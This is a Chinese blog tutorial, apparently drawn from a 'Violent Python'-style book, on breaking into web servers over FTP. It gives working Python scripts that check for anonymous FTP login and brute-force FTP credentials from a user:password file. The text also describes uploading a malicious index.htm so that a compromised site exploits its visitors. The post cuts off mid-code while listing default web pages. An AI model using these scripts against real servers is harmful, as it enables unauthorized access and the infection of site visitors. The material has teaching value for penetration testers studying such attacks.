FTP暴力破解及恶意脚本注入

通过FTP连接WEB来渗透

检查受感染服务器的FTP日志。

一个自动的脚本连接到目标主机以确认它是否包含一个名为 index.htm 的默认主页。接下来攻击者上传了一个新的 index.htm 页面,可能包含恶意的重定向脚本。受感染的服务器渗透利用任何访问它页面的脆弱客户机。

可以利用 Python 的 ftplib 模块来构建一个小脚本,用来确认服务器是否允许匿名登录。函数 anonLogin()接受一个主机名反汇编一个布尔值来确认主机是否允许匿名登录。

为了确认这个布尔值,这个函数尝试用匿名认证生成一个 FTP 连接,如果成功,则返回“True”,产生异常则返回 “False”

用python构建匿名的FTP扫描器

# coding = UTF-8
import ftplib

def anonLogin(hostname):
    try:
        ftp=ftplib.FTP(hostname)
        ftp.login('anonymous','me@your.com')
        print('\n[*]'+str(hostname)+'FTP Anonymous Login Succeeded!')
        ftp.quit()
        return True
    except Exception as e:
        print('\n[-]'+str(hostname)+'FTP Anonymous Login Failed!')
        return False
    
host='192.168.95.179'
anonLogin(host)

利用ftplib暴力破解FTP用户认证

现在我们能扩展前面建立的 anonLogin()函数建立名为brutelogin()的函数。 这个函数接受主机名和密码文件作为输入返回允许访问主机的证书。注意,函数迭代文件的每一行,用冒号分割用户名和密码,然后这个函数用用户名和密码尝试登陆 FTP服务器。如果成功,将返回用户名和密码的元组,如果失败有异常,将继续测试下一行。如果遍历完所有的用户名和密码都没有成功,则返回包含 None的元组。

# coding = UTF-8
import ftplib


def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print('[+]Trying:' + userName + '/' + passWord)
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print('\n[*]' + str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord)
            ftp.quit()
            return (userName, passWord)
        except Exception as e:
            pass

    print('\n[-] Could not brute force FTP credentials.')
    return (None, None)


host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)

在FTP服务器上寻找web页面

有了FTP访问权限,还要测试服务是否还提供了web访问,为了测试这个,首先要列出FTP的服务目录并寻找默认的web页面。

函数returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组,通过发送目录NLST列出目录内容。这个函数检查每个文件返回默认web页面文件名并将任何发现的默认web页面文件名添加到名为retList的列表上。完成迭代这些文件之后,函数将返回这个列表

def returnDefault(ftp):
    try:
        # 列出目录内容
        dirList = ftp.nlst(
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值